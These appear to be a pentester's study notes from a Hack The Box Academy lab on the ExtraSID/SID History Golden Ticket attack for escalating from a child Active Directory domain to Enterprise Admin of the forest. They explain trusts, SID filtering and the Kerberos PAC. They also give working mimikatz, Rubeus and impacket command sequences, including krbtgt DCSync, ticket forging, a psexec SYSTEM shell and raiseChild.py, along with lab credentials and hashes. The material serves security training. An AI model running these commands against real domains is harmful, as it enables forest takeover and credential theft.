Forest privilege escalation / trust abuse technique
Golden Ticket Attack + SID Prime Attack
Understanding SID History Injection Attack
What is Extra SID?
Extra SID = Additional group identities added to your PAC that you don’t normally belong to.
An Extra SID Attack is a Kerberos ticket forgery technique where an attacker inserts additional privileged SIDs into the ExtraSIDs/SIDHistory section of the PAC to gain permissions that the user does not legitimately possess.
📘 Core Concept: Why This Attack Works
This attack works because of three Active Directory design behaviors:
Because of these:
Attacker controls child domain
│
▼
Attacker forges a TGT
│
▼
Adds parent domain privileged SID
│
▼
Parent domain trusts the SID
│
▼
Attacker gains forest-level privileges
1️⃣ What “Domain Trust” Means in Active Directory
When two domains trust each other, it means:
Users from Domain A
can access resources in
Domain B
The Domain Controller (DC) in Domain B will accept authentication from Domain A.
Example:
User: alice@LOGISTICS.INLANEFREIGHT.LOCAL
tries to access
Server: FILE01.INLANEFREIGHT.LOCAL
Flow:
LOGISTICS DC → authenticates Alice
│
▼
Parent DC trusts LOGISTICS
│
▼
Access decision made
2️⃣ Trusts Inside an AD Forest
Inside a forest, trusts are created automatically when a domain is added.
Example forest:
INLANEFREIGHT.LOCAL (Root Domain)
│
├── LOGISTICS.INLANEFREIGHT.LOCAL
├── HR.INLANEFREIGHT.LOCAL
└── IT.INLANEFREIGHT.LOCAL
When LOGISTICS is created:
Trust automatically created with parent
Trust properties
These trusts are:
Example:
HR trusts LOGISTICS
LOGISTICS trusts IT
IT trusts HR
because the trust is transitive.
🔑 Understanding SID and Authorization
Every AD object has a SID.
Example:
User SID
S-1-5-21-2806153819-209893948-922872689-1105
Group membership adds additional SIDs.
Example token:
User SID
Domain Users
Domain Admins
Enterprise Admins
When accessing resources:
Windows checks → Access Token SIDs
NOT the username.
This is extremely important.
Authorization = SID based
NOT username based
3️⃣ Why SID Filtering Exists
Remember that authorization in Windows is SID-based.
Example access token:
User SID
Domain Users SID
Domain Admin SID
Enterprise Admin SID
If an attacker could simply add any SID, they could escalate privileges.
Example forged token:
User: hacker
SIDs:
Domain Users
Enterprise Admins
Without protection, this would grant forest-level privileges.
4️⃣ SID Filtering Protection
To prevent this, Microsoft introduced SID Filtering.
SID filtering means:
When a domain receives authentication from another domain
it removes SIDs that do not belong to the trusted domain
Example:
User authenticates from Domain A.
Token contains:
Domain A SID
Enterprise Admin SID from Domain B
With SID filtering enabled:
Domain B removes foreign SID
Result:
Enterprise Admin SID removed
Attack fails.
5️⃣ Why SID Filtering Is Disabled Inside a Forest
Inside the same forest, Microsoft disabled SID filtering by default.
Reason: migration compatibility.
Example scenario:
A company merges two domains.
User migration happens:
Old domain → NEWDOMAIN
User receives new SID:
S-1-5-21-NEWDOMAIN-1105
But old resources still use old SID:
S-1-5-21-OLDDOMAIN-1105
So AD stores:
sidHistory = old SID
When the user logs in:
Access Token contains
Primary SID
+ SIDHistory
If SID filtering were enabled:
Old SID removed
User would lose access to migrated resources.
So Microsoft decided:
Within same forest → allow SIDHistory
Which means:
SID filtering disabled
6️⃣ Which Trusts Allow the ExtraSID Attack
The attack works only when SID filtering is not enforced.
✔️ Attack Works
Example:
LOGISTICS → INLANEFREIGHT
❌ Attack Fails
Example:
companyA.com → companyB.com
Here:
SID filtering = ON
So injected SIDs are removed.
7️⃣ Where SID Filtering Is Configured
On the trust relationship itself.
Domain Controllers store trust settings in AD.
Admin can view it using:
Active Directory Domains and Trusts
Or PowerShell.
Example:
Get-ADTrust
Important attribute:
SIDFilteringForestAware
8️⃣ What Happens During Authentication (Why the Attack Works)
When a parent DC receives authentication from a child domain:
Child domain authenticates user
│
▼
Kerberos ticket contains SIDs
│
▼
Parent domain builds access token
If SID filtering is disabled:
Parent DC keeps all SIDs
Example ticket:
User: hacker
Domain: LOGISTICS
SIDs:
LOGISTICS\Domain Users
INLANEFREIGHT\Enterprise Admins
Parent DC sees:
Enterprise Admin SID present
Result:
User treated as Enterprise Admin
9️⃣ How the Domain Controller “Disables” SID Filtering
For parent-child trusts, AD sets it automatically.
When the child domain is created:
TrustDirection = Bidirectional
TrustType = ParentChild
SIDFiltering = Disabled
Reason:
SIDHistory must work across forest domains
So AD allows foreign SIDs from trusted domains.
Example
🎯 Attack Goal
Escalate privileges:
Child Domain → Parent Domain
By forging a Golden Ticket with ExtraSID.
🧱 Attack Pathway Diagram
Active Directory Forest: INLANEFREIGHT.LOCAL
▲
│
┌────────────────┴────────────────┐
│ │
Child Domain (LOGISTICS) Parent Domain (INLANEFREIGHT)
│ │
Compromised User Account Enterprise Admin Group
│ ▲
└────────────── SID Injection ────┘
ExtraSID
📌 Requirements
🧪 Step 1 — Dump KRBTGT Hash (Child Domain)
mimikatz
lsadump::dcsync/user:LOGISTICS\krbtgt
Purpose:
Retrieve KRBTGT secret key
Example output:
Hash NTLM: 9d765b482771505cbe97411065964d5f
This key is used to sign forged Kerberos tickets.
🧪 Step 2 — Get Child Domain SID
Get-DomainSID
Output:
S-1-5-21-2806153819-209893948-922872689
This builds the user SID in the forged ticket.
🧪 Step 3 — Get Parent Enterprise Admin SID
Get-DomainGroup-Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins"
Output:
S-1-5-21-3842939050-3880317879-2865463114-519
Important part:
RID 519 = Enterprise Admins
This SID will be injected.
🛑 Step 4 — Confirm No Access
ls \\academy-ea-dc01.inlanefreight.local\c$
Output:
Access is denied
Attacker has no parent domain privileges yet.
🎟️ Step 5 — Forge Golden Ticket with ExtraSID
mimikatz
kerberos::golden
/user:hacker
/domain:LOGISTICS.INLANEFREIGHT.LOCAL
/sid:S-1-5-21-2806153819-209893948-922872689
/krbtgt:9d765b482771505cbe97411065964d5f
/sids:S-1-5-21-3842939050-3880317879-2865463114-519
/ptt
🔍 What This Command Actually Does
Creates a forged TGT containing:
User: hacker
Domain: LOGISTICS
Primary SID: Child domain SID
ExtraSID: Enterprise Admins (Parent)
Kerberos ticket now contains:
User SID
+
Enterprise Admin SID
So when authentication occurs:
Authorization token includes Enterprise Admin
📄 Step 6 — Verify Ticket
klist
Output:
Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL
Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL
Ticket is now in memory.
🗂️ Step 7 — Access Parent Domain DC
ls \\academy-ea-dc01.inlanefreight.local\c$
Now access works.
Why?
Because the authorization token contains Enterprise Admin SID.
📤 Step 8 — Confirm Privilege with DCSync
mimikatz
lsadump::dcsync/user:INLANEFREIGHT\lab_adm
Output:
NTLM Hash: 663715a1a8b957e8e9943cc98ea451b6
This proves:
Attacker = Enterprise Admin
Example - 2
🌳 Forest Setup
Example forest:
INLANEFREIGHT.LOCAL (Parent / Root Domain)
│
├── LOGISTICS.INLANEFREIGHT.LOCAL (Child Domain)
│
└── HR.INLANEFREIGHT.LOCAL (Child Domain)
Trust properties:
✔ Two-way
✔ Transitive
✔ Automatic
✔ SID Filtering Disabled (intra-forest)
Meaning:
Parent domain accepts SIDs coming from child domains
🔑 Attacker Position
Attacker compromised child domain:
LOGISTICS.INLANEFREIGHT.LOCAL
Attacker obtains:
Child Domain SID
Child KRBTGT Hash
Now attacker can forge Kerberos TGTs.
🎟 Forged Golden Ticket Structure
Example forged ticket:
User: hacker
Domain: LOGISTICS.INLANEFREIGHT.LOCAL
Primary SID
S-1-5-21-LOGISTICS-1105
ExtraSID
S-1-5-21-INLANEFREIGHT-519
Where:
519 = Enterprise Admin
So the ticket claims:
"hacker" ∈ Enterprise Admins
🔎 Scenario 1 — Existing User
User exists in child domain.
Example:
LOGISTICS\john
Attack flow:
Attacker
│
│ Forge TGT for john
│ Add ExtraSID (Enterprise Admin)
▼
Golden Ticket
Ticket content:
User: john
SID: LOGISTICS-1105
ExtraSID: INLANEFREIGHT-519
Now authentication flow:
john → Parent DC
requests TGS
DC logic:
✔ Ticket signature valid
✔ Issued by trusted domain
✔ SID filtering disabled
Resulting token:
User: LOGISTICS\john
Groups:
LOGISTICS\Domain Users
INLANEFREIGHT\Enterprise Admins
Result:
john becomes Enterprise Admin in parent domain
🔎 Scenario 2 — Non-Existing User
This is the interesting one.
Attacker creates fake identity.
User: hacker123
This user does NOT exist in AD.
Forged ticket:
User: hacker123
Domain: LOGISTICS
Primary SID
S-1-5-21-LOGISTICS-5000
ExtraSID
S-1-5-21-INLANEFREIGHT-519
Signed with:
KRBTGT hash of LOGISTICS
🧠 Why This Still Works
Because Kerberos trusts the ticket, not the user object.
The authentication stage was already “completed”.
Golden Ticket skips the AS-REQ stage.
Normal Kerberos flow:
AS-REQ → Authentication
TGS-REQ → Authorization
Golden Ticket starts directly at:
TGS-REQ
🔄 Actual Authentication Flow
Attacker accesses resource on parent domain:
\\DC01.INLANEFREIGHT.LOCAL\C$
Kerberos interaction:
Attacker
│
│ Present forged TGT
▼
Parent Domain Controller
DC verification:
✔ Ticket signature valid
✔ Ticket issued by trusted child domain
✔ Ticket lifetime valid
The DC does NOT do this check:
❌ Does user "hacker123" exist?
Because it assumes:
Authentication already happened in child domain
⚙️ Token Creation Inside Parent DC
The DC reads authorization data inside ticket.
Primary SID → LOGISTICS-5000
Extra SID → INLANEFREIGHT-519
Token generated:
User: LOGISTICS\hacker123
Groups:
INLANEFREIGHT\Enterprise Admins
Authorization decision:
if token contains Enterprise Admin SID
allow privileged access
Result:
Access granted
🔓 Resource Access Example
Attacker connects to:
\\DC01.INLANEFREIGHT.LOCAL\C$
Server receives token:
LOGISTICS\hacker123
Enterprise Admin
Access check:
Enterprise Admin → Full privileges
Result:
Attacker controls parent domain
🔗 Why Child Domain Can Escalate to Parent
Because of trust relationship.
Trust rule:
Parent trusts authentication from child domain
So when the ticket says:
Issued by LOGISTICS KDC
Parent assumes:
LOGISTICS domain already verified this user
And since SID filtering is disabled:
ExtraSID is preserved
So parent accepts:
Enterprise Admin SID
Example - 3
Extra SID Attack Is Usually Used For
1. Forest Privilege Escalation ⭐
Most common use case.
Child Domain Compromised
↓
Get Child KRBTGT
↓
Forge Ticket
↓
Add Parent EA SID in ExtraSIDs
↓
Become Enterprise Admin
This is where Extra SID attacks became famous.
2. Trust Abuse
Suppose:
child.corp.local
↔
corp.local
Attacker controls:
child.corp.local
Extra SID allows:
Child User
↓
PAC contains
Enterprise Admin SID
↓
Parent Domain Trusts SID
↓
Escalation
3. Chained After DCSync
Common HTB chain:
Low User
↓
Kerberoast
↓
DA
↓
DCSync
↓
KRBTGT
↓
Golden Ticket
↓
Extra SID Attack
↓
Enterprise Admin
Common Chains
Chain 1 - Child → Forest Root
Classic exam scenario.
Compromise Child Domain
↓
DCSync Child KRBTGT
↓
Extra SID Attack
↓
Add Root Enterprise Admin SID
↓
Forest Compromise
Chain 2 - Golden Ticket + Extra SID
KRBTGT Hash
↓
Forge Golden Ticket
↓
Insert Extra SID
↓
Cross Domain Privilege Escalation
The Extra SID is simply another field inside the forged PAC.
Chain 3 - Diamond Ticket + Extra SID
Legitimate TGT
↓
Modify PAC
↓
Add Enterprise Admin SID
↓
Re-sign PAC
Same idea.
Golden Ticket + Extra SID PoC - Windows
Step 1 - rdp to windows machine
xfreerdp /u:htb-student_adm /p:‘HTB_@cademy_stdnt_admin!’ /v:10.129.232.164 /cert-ignore /bpp:8 /network:modem /compression -themes -wallpaper /clipboard /audio-mode:1 /auto-reconnect -glyph-cache /dynamic-resolution
Step 2 - run mimikatz to get the ntml hash of krbtgt
..exe # lsadump::dcsync /user:LOGISTICS
Credentials:
Hash NTLM: 9d765b482771505cbe97411065964d5f
ntlm- 0: 9d765b482771505cbe97411065964d5f
lm - 0: 69df324191d4a80f0ed100c10f20561e
Step 3 - getting the sid of child domain
S-1-5-21-2806153819-209893948-922872689
Step 4 - getting the sid of Enterprise Admins
S-1-5-21-3842939050-3880317879-2865463114-519
At this point, we have gathered the following data points:
The KRBTGT hash for the child domain:
9d765b482771505cbe97411065964d5fThe SID for the child domain:
S-1-5-21-2806153819-209893948-922872689The name of a target user in the child domain (does not need to exist to create our Golden Ticket!): We’ll choose a fake user:
hackerThe FQDN of the child domain:
LOGISTICS.INLANEFREIGHT.LOCALThe SID of the Enterprise Admins group of the root domain:
S-1-5-21-3842939050-3880317879-2865463114-519
Step 5 - run mimikatz
..exe
kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt
Step 6 - list the content on C: drive and read the flag file
ls \academy-ea-dc01.inlanefreight.local$
type “\academy-ea-dc01.inlanefreight.local$.txt
Golden Ticket + Extra SID PoC - Linux
Step 1 - ssh to linux machine
Step 2- get the hash of krbtgt
secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt
password - HTB_@cademy_stdnt_admin!
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::
Step 3 - grab the sid of domain
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep “Domain SID”
S-1-5-21-2806153819-209893948-922872689
Step 4 - get the sid of enterprise admin
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 “Enterprise Admins”
Step 5 - perform the attack using ticketer.py tool
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
Step 6 - run secretsdump to get the hash of user bross
impacket-secretsdump -just-dc-user bross -just-dc-ntlm LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5
Extra Sid Attack
Understanding The Core Concept
🧠 Big Picture First (One Sentence)
This attack works because Kerberos trusts the PAC issued by a trusted domain, and Windows authorization blindly honors ExtraSIDs (SIDHistory) when SID filtering is not enforced inside a forest.
Everything else is mechanics.
📌 Requirements:
✅ Prerequisites for SID History / ExtraSID (Child → Parent) Attack
1️⃣ Child Domain Must Be Compromised (Critical)
You must already have high privilege in the child domain.
Required capability:
- Ability to DCSync the child domain
This usually means:
Domain Admin OR
Equivalent replication privileges
👉 Without child-domain compromise, the attack is impossible.
2️⃣ Child Domain KRBTGT Hash
Why it is required:
Used to cryptographically sign the forged Golden Ticket
Parent domain trusts tickets signed by child KRBTGT (due to forest trust)
How it’s obtained:
- DCSync against
krbtgtin child domain
👉 This is the core cryptographic requirement.
3️⃣ Intra-Forest Trust Relationship
The child and parent must be in the same Active Directory forest.
Required trust properties:
Transitive
Bidirectional
Automatic (default inside forest)
Why:
- Parent domain accepts Kerberos tickets issued by child domain
❌ External trust alone is not sufficient.
4️⃣ SID Filtering Must Be Disabled (Default in Forest)
Why:
SID filtering removes foreign high-privilege SIDs
Inside a forest, SID filtering is disabled by default
Effect:
- ExtraSID (Enterprise Admin SID) is accepted without validation
👉 This is the authorization flaw being abused.
5️⃣ Child Domain SID
Purpose:
Required to construct a valid child-domain identity
Used as the base SID of the forged ticket
Without this:
- Ticket structure is invalid
6️⃣ Parent Domain Enterprise Admin SID
Purpose:
Injected as ExtraSID into the Kerberos PAC
Grants forest-wide administrative privileges
Important:
Only the SID value is required
No group membership or AD modification needed
7️⃣ Any Username (Existing or Fake)
Important clarification:
User does NOT need to exist
Kerberos does not verify user existence for a signed TGT
Why this works:
- Authorization is SID-based, not object-based
1️⃣ What Is Actually Being Abused Here?
This is NOT a vulnerability in:
Mimikatz
Kerberos crypto
NTLM hashes
This is an abuse of:
2️⃣ SIDHistory vs ExtraSID (Critical Clarification)
Important distinction:
⚠️ Golden Ticket does NOT modify AD objects
It injects SIDHistory logically, not physically.
👉 ExtraSID in a forged ticket behaves exactly like sidHistory during authorization.
3️⃣ Why Trust Is the Core Requirement
🔗 Intra-Forest Trust Model
Inside a forest:
ChildDomain ───(Transitive Trust)───> ParentDomain
Key properties:
Trust is automatic
Trust is bidirectional
Trust is transitive
SID Filtering = DISABLED
💥 This last point is why the attack works.
🔍 Why SID Filtering Is Disabled
SID filtering is disabled by design to support:
Account migrations
SIDHistory usage
Legacy access preservation
Microsoft assumed:
“Only trusted admins exist inside a forest”
This assumption fails once a child domain is compromised.
4️⃣ Where the Attack Lives in Kerberos (Very Important)
This attack abuses authorization, not authentication.
Kerberos phases:
Authentication
Authorization
This attack happens after authentication succeeds.
5️⃣ Kerberos Ticket Internals (PAC Explained Simply)
Every TGT contains a PAC (Privilege Attribute Certificate).
PAC contains:
User SID
Group SIDs
ExtraSIDs (SIDHistory)
Privileges
Domain info
When you forge a Golden Ticket, you control:
PAC → AuthorizationIdentity
The KDC does not re-validate PAC contents for trusted domains.
6️⃣ Why the Child KRBTGT Hash Is Enough
Key misunderstanding people have:
“Why does child KRBTGT allow parent access?”
Because:
The parent domain trusts tickets signed by the child
Signature validation ≠ authorization validation
Flow:
Parent DC:
✔ Signaturevalid(child krbtgt)
✔ Domain trusted
❌ Does NOT validate ExtraSID origin
👉 Ticket accepted.
Example
7️⃣ Step-by-Step: What Logically Happens During the Attack
Let’s walk it exactly as Windows sees it.
🧩 Step 1: Child Domain Is Compromised
Attacker already has:
DCSync rights in child
KRBTGT hash
This is post-compromise escalation, not initial access.
🧩 Step 2: Attacker Forges a TGT
They create a TGT with:
Fake username
Valid child domain SID
Signed with child KRBTGT hash
So far:
Ticket is 100% valid cryptographically
🧩 Step 3: ExtraSID Is Added
Attacker inserts:
Parent Enterprise Admin SID
This goes into:
PAC → ExtraSIDs[]
At this point:
No AD object modified
No sidHistory attribute touched
🧩 Step 4: Ticket Is Injected (PTT)
The forged TGT is loaded into LSASS.
From Windows’ view:
User authenticated successfully
🧩 Step 5: Accessing Parent Domain Resource
When attacker accesses:
\\parent-dc\c$
Parent DC performs:
✔ Authentication
Ticket signature valid
Trust exists
✔ Authorization
Extract PAC
Build access token
Token contains:
User SID (child)
+ ExtraSID (Enterprise Admin)
🧩 Step 6: Authorization Decision
ACL on parent DC:
Allow: Enterprise Admins
Token check:
Does tokencontain EA SID?
→ YES (ExtraSID)
→ ACCESS GRANTED
💥 No group membership check
💥 No SID origin validation
💥 No alert by default
8️⃣ Why This Is Called “SID History Priming”
Because:
You are pre-loading authorization SIDs
Before any access check
Without modifying AD
It’s logical SIDHistory, not physical.
9️⃣ Why This Enables DCSync in Parent Domain
DCSync checks:
Does caller have Replication privileges?
Enterprise Admins:
- Have replication rights forest-wide
Since the EA SID exists in token:
DCSync allowed
This completes forest compromise.
Why the Username Isn’t Re-checked
Once a ticket is issued, the system assumes:
The KDC already validated this user earlier
So the service server only checks:
✔ Ticket signature
✔ Ticket validity time
✔ Authorization SIDs
Not:
❌ Does the user object exist?
Because the KDC is the source of truth.
Golden Ticket works because attackers steal the KDC signing key (KRBTGT) and impersonate it.
🔥 Why This Attack Is So Powerful
🛡️ Why External Trusts Usually Block This
External trusts:
Have SID filtering enabled
Strip foreign high-privilege SIDs
So:
ExtraSID removed → attack fails
This is why forest trust context matters.
🧠 Mental Model (Lock & Keys)
Golden Ticket =Valid passport
ExtraSID = VIPaccess badge
Trust = Border agreement
SID filtering =Securitycheckpoint
Nocheckpoint + VIP badge = unrestrictedaccess
🧾 Final Attack Logic Recap (Pure Logic)
Forest trust allows child tickets
SID filtering disabled
PAC includes ExtraSID
Authorization trusts PAC
ACL matches SID
Access granted
Domain escalated
Sid History & Kerberos Pac
1️⃣ sidHistory — the Active Directory attribute
What it is
sidHistory is a real, legitimate, multi-valued AD attribute on user and computer objects.
Purpose (legitimate):
Preserve access during account/domain migrations
Allow users to keep access to resources secured with old SIDs
Key point:
sidHistory does nothing by itself — it only becomes effective during logon.
Where it lives
Stored in AD database (
NTDS.dit)On objects like:
CN=User,CN=Users,DC=domain,DC=local
- Contains one or more old SIDs
Example conceptual value:
sidHistory:
S-1-5-21-OLD-DOMAIN-1001
S-1-5-21-OLD-DOMAIN-512
What Windows does with sidHistory
When a user authenticates:
KDC reads the user object
Finds
sidHistoryvaluesTreats them as additional identities
Forwards them into the Kerberos authorization data
⚠️ No privilege check is done on the SID values themselves
Why SIDHistory / ExtraSID Exists
The ExtraSID concept exists mainly for migrations.
Example scenario:
Company migration:
OLD-DOMAIN.LOCAL
↓
NEW-DOMAIN.LOCAL
Users move to a new domain but must retain access to old resources.
Microsoft solves this with SIDHistory.
User after migration:
Primary SID → New domain
SIDHistory → Old domain
So when the user accesses an old file server:
File ACL contains OLD-DOMAIN SID
Access still works because the SID is present in the token
2️⃣ Kerberos PAC — where authorization actually happens
What is the PAC?
The Privilege Attribute Certificate (PAC) is a data structure embedded inside Kerberos tickets.
It is NOT authentication data
It is authorization data.
PAC contains:
User SID
Group SIDs
Privileges
ExtraSIDs
Domain info
PAC is what Windows trusts for access decisions
When a resource is accessed:
Kerberos Ticket → PAC → Access Token → ACL check
ACLs never query AD again.
3️⃣ ExtraSID — the PAC representation of sidHistory
What ExtraSID is
ExtraSID is a field inside the PAC that holds:
SIDs that should be treated exactly like group SIDs during authorization
In normal operation:
PAC.ExtraSids ← AD.sidHistory
Important equivalence (THIS IS THE CORE)
Windows makes NO distinction between:
- Group membership SIDs
- SIDHistory SIDs
- ExtraSIDs in PAC
If the SID is present in the token → it grants access
4️⃣ Legitimate End-to-End Flow (Normal Scenario)
Let’s connect everything.
Step-by-step:
User logs in
KDC authenticates user
KDC reads AD object
Finds:
- Primary SID
- Group memberships
sidHistory
Builds PAC:
PAC.Groups = Domain groups PAC.ExtraSids = sidHistory valuesTicket issued
Client accesses resource
Resource server builds access token
Token contains all SIDs
ACL matches SID → access granted
✔ That is the legitimate use case
Logic + Conditions
1️⃣ Parent–Child Trust Must Exist (Inside the Same Forest)
For the ExtraSID / child → parent Golden Ticket escalation to work, the domains must be connected like this:
Forest
│
└── ROOT DOMAIN
INLANEFREIGHT.LOCAL
│
├── CHILD DOMAIN
│ LOGISTICS.INLANEFREIGHT.LOCAL
│
└── CHILD DOMAIN
HR.INLANEFREIGHT.LOCAL
When a child domain is created, Active Directory automatically creates a trust.
Properties of this trust:
✔ Two-way
✔ Transitive
✔ Inside same forest
✔ SID filtering disabled
This is the exact condition that enables the attack.
2️⃣ Why the Trust Is Required
When the parent DC receives a ticket issued by the child domain, it checks:
Was this ticket issued by a trusted domain?
Because the trust exists:
LOGISTICS → trusted by → INLANEFREIGHT
the parent domain accepts the ticket.
Without this trust:
Ticket rejected
3️⃣ What Happens During the Attack
You compromise the child domain:
LOGISTICS.INLANEFREIGHT.LOCAL
You obtain:
Child Domain KRBTGT hash
Child Domain SID
Then you forge a ticket:
User: attacker
Domain: LOGISTICS
Primary SID
LOGISTICS user SID
ExtraSID
INLANEFREIGHT Enterprise Admin SID
Because SID filtering is disabled inside the forest, the parent domain keeps the ExtraSID.
4️⃣ What the Parent Domain Controller Thinks
When the forged ticket reaches the parent DC:
Step 1
Ticket signed by LOGISTICS KRBTGT
Parent thinks:
✔ Issued by LOGISTICS domain controller
✔ LOGISTICS is trusted
So it proceeds.
Then:
Step 2
Token creation
Parent DC reads SIDs in the ticket:
User SID
Extra SID → Enterprise Admin
Token built:
LOGISTICS\attacker
Enterprise Admin
Now the attacker effectively becomes Enterprise Admin of the forest.
5️⃣ When This Attack Would NOT Work
This attack fails if:
❌ No trust exists
Example:
COMPANY.LOCAL
LAB.LOCAL
Two completely separate forests.
Then:
Ticket from LAB → rejected by COMPANY
❌ SID filtering is enabled
External trusts normally enable SID filtering.
Meaning:
Foreign SIDs removed from ticket
So the injected Enterprise Admin SID disappears.
6️⃣ The Key Requirement (Pentester Mental Checklist)
For child → parent escalation:
1️⃣ Same forest
2️⃣ Parent-child trust exists
3️⃣ SID filtering disabled (default intra-forest)
4️⃣ Child domain KRBTGT compromised
Then the attack works.
Windows
🔍 Step 1: Dump KRBTGT Hash (Child Domain)
Command:
powershell
mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
Purpose: Retrieve NTLM hash of KRBTGT account to sign forged Kerberos tickets.
Output:
Hash NTLM: 9d765b482771505cbe97411065964d5f
🔍 Step 2: Get Child Domain SID
Command:
powershell
Get-DomainSID
Output:
S-1-5-21-2806153819-209893948-922872689
🔍 Step 3: Get Parent Domain Enterprise Admins Group SID
Command:
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins"
Output:
S-1-5-21-3842939050-3880317879-2865463114-519
🛑 Step 4: Confirm No Access (Before Attack)
Command:
powershell
ls \\academy-ea-dc01.inlanefreight.local\c$
Output:
Access is denied
🎟️ Step 5: Create Golden Ticket with ExtraSID Using Mimikatz
Command:
mimikatz
kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL `
/sid:S-1-5-21-2806153819-209893948-922872689 `
/krbtgt:9d765b482771505cbe97411065964d5f `
/sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt
Explanation:
Creates a forged TGT for
hacker@LOGISTICS.INLANEFREIGHT.LOCAL.ExtraSIDadds Enterprise Admin group from parent./ptt– Inject the ticket directly into memory.
Output Summary:
[*] Forged a TGT for 'hacker'
[*] Extra SIDs: S-1-5-21-...-519
[+] Ticket successfully submitted for current session
📄 Step 6: Verify Ticket Injection (Memory)
Command:
powershell
klist
Output:
Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL
Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL
Flags: forwardable renewable initial
🗂️ Step 7: Access Parent Domain DC
Command:
powershell
ls \\academy-ea-dc01.inlanefreight.local\c$
Output:
Volume in drive ... has no label.
Directory of \\academy-ea-dc01.inlanefreight.local\c$
Program Files, Users, Windows, etc.
✅ Access granted!
🧪 Alternative: Golden Ticket via Rubeus
🔧 Command:
powershell
.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f `
/domain:LOGISTICS.INLANEFREIGHT.LOCAL `
/sid:S-1-5-21-2806153819-209893948-922872689 `
/sids:S-1-5-21-3842939050-3880317879-2865463114-519 `
/user:hacker /ptt
✅ Successfully injects ticket with ExtraSID via Rubeus.
📤 Step 8: DCSync from Parent Domain (Privilege Confirm)
Command:
powershell
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm
Explanation:
Targeting an account in the parent domain.
If successful → attacker is treated as Enterprise Admin (SID spoofed!).
Output:
NTLM Hash of lab_adm: 663715a1a8b957e8e9943cc98ea451b6
Linux
✅ Step 1: Extract KRBTGT Hash (Child Domain)
bash
secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt
🔍 Breakdown:
just-dc-user: dump a specific user’s secretsLOGISTICS/krbtgt: KRBTGT user of child domainOutput includes NTLM and Kerberos keys
🖥️ Sample Output:
ruby
krbtgt:502:aad3b...:9d765b482771505cbe97411065964d5f:::
✅ Step 2: Find Child Domain SID
bash
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"
[*] Domain SID is: S-1-5-21-2806153819-209893948-922872689
✅ Step 3: Find Enterprise Admins SID in Root Domain
bash
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"
[*] Domain SID is: S-1-5-21-3842939050-3880317879-2865463114
...
519: INLANEFREIGHT\Enterprise Admins (SidTypeGroup)
S-1-5-21-3842939050-3880317879-2865463114-519
✅ Step 4: Create Golden Ticket with ticketer.py
bash
ticketer.py -nthash 9d765b482771505cbe97411065964d5f \
-domain LOGISTICS.INLANEFREIGHT.LOCAL \
-domain-sid S-1-5-21-2806153819-209893948-922872689 \
-extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 \
hacker
🔍 Explanation:
nthash: NTLM of krbtgt (child)extra-sid: parent domain EA SID = SIDHistory fieldhacker: username (can be nonexistent)Output:
hacker.ccache
✅ Step 5: Set the Environment Variable
export KRB5CCNAME=hacker.ccache
✅ Now, your system uses the forged Kerberos ticket.
✅ Step 6: Use psexec.py to Get SYSTEM Shell on Parent DC
bash
psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5
Microsoft Windows [Version 10.0.17763.107]
C:\Windows\system32> whoami
nt authority\system
🔍 Flags:
k: use kerberosno-pass: no password needed (we’re using the forged ticket)
🤖 Automated Attack with raiseChild.py
🔁 What it Does:
Performs the entire attack chain:
Gets child krbtgt hash
Builds ticket with parent EA SID
Authenticates to parent DC
Extracts parent domain admin credentials
Launches psexec shell
🔧 Run Command:
bash
raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm
[*] Raising LOGISTICS.INLANEFREIGHT.LOCAL to INLANEFREIGHT.LOCAL
[*] Enterprise Admin SID: S-1-5-21-3842939050-3880317879-2865463114-519
[*] Getting credentials for LOGISTICS krbtgt
[*] Getting credentials for INLANEFREIGHT krbtgt
[*] Opening PSEXEC shell at ACADEMY-EA-DC01
C:\Windows\system32> whoami
nt authority\system